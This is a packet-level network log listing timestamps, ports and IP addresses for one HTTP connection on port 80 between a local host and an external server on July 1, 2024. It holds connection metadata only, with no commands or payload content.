Jul 1, 2024 07:20:51.854995012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.855005026 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.855015993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.855032921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.855052948 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.855070114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.855108976 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.889132977 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889198065 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889214993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889235973 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.889239073 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889249086 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889260054 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889261961 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.889308929 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.889313936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889322996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.889354944 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890618086 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890628099 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890638113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890687943 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890707016 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890707016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890718937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890729904 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890739918 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890741110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890759945 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890786886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890866995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890882015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890892029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890918016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890922070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890933990 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.890945911 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.890969038 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.891051054 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.891060114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.891091108 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.891346931 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.891381979 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.920520067 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920531988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920541048 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920595884 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.920614958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920624018 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.920628071 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920650005 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920659065 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.920681953 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.920698881 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920711994 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.920732021 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.920751095 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922226906 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922235966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922245979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922291040 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922317982 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922334909 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922343969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922353983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922372103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922400951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922430992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922441959 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922473907 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922549963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922559023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922569036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922580004 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922583103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922590017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922600985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922610044 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922614098 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922621012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922643900 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922662020 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922733068 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922744036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922753096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922770023 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922805071 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922832012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922846079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922856092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922877073 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922903061 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.922967911 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922977924 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.922992945 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923003912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923015118 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923017979 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923024893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923037052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923058987 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923079967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923177958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923188925 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923198938 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923208952 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923217058 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923238039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923295021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923305988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923316002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923326015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923336983 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923372984 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923450947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923461914 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923472881 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923482895 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923489094 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923494101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923505068 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923516035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923522949 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923553944 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923599958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923609972 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923619986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923640013 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923657894 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923748970 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923758984 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923768044 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923779011 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923788071 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923790932 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923799038 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923810005 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923819065 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923823118 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923830986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923841953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923847914 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923851967 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923868895 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923877001 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923881054 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923888922 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923892021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.923916101 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.923944950 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924115896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924153090 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924256086 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924266100 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924277067 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924285889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924289942 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924298048 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924308062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924312115 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924319029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924336910 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924340963 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924349070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924360037 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924369097 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924371958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.924384117 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.924428940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.947738886 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947758913 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947773933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947788000 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.947820902 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.947865963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947875977 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947885990 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947895050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947905064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.947906017 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.947926998 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.947942972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.947959900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948009968 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948019028 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948020935 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.948045969 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.948093891 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948106050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948115110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948124886 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948127031 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.948160887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.948199987 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.948231936 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.982319117 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982331038 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982341051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982357979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982367992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982377052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982378006 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.982388020 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.982558012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.983658075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983674049 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983680010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983695030 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.983719110 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.983767033 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983778000 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983788967 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983799934 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983814001 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.983839035 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.983912945 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983923912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983933926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983943939 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.983954906 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.983975887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.984052896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.984055042 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.984060049 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.984061956 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.984066963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.984101057 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.013895988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.013906002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.013916969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.013973951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.013993025 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.014003992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.014014959 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.014017105 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.014027119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.014049053 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.014075041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015438080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015450001 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015460968 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015495062 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015518904 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015544891 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015557051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015567064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015575886 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015589952 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015623093 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015638113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015676975 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015685081 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015711069 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015728951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015743971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015754938 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015765905 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015775919 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015785933 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015819073 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015871048 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015885115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015894890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015901089 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015930891 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.015974998 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.015995979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016006947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016007900 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016087055 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016115904 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016125917 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016149044 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016160965 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016163111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016170979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016175032 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016179085 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016211987 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016316891 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016328096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016338110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016352892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016357899 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016362906 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016385078 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016412020 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016421080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016465902 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016474962 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016477108 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016508102 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016549110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016563892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016572952 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016582966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016591072 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016621113 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016645908 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016690016 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016690969 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016725063 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016762972 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016773939 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016783953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016797066 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016820908 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016885042 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016895056 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016904116 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016915083 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016921043 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016925097 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016937017 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.016943932 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.016967058 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017014027 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017047882 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017096996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017107964 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017117977 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017128944 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017148972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017266035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017282009 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017292023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017302036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017312050 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017313004 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017324924 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:52.017333031 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:52.017335892 CEST	80	49714	77.91.77.81	192.168.2.6
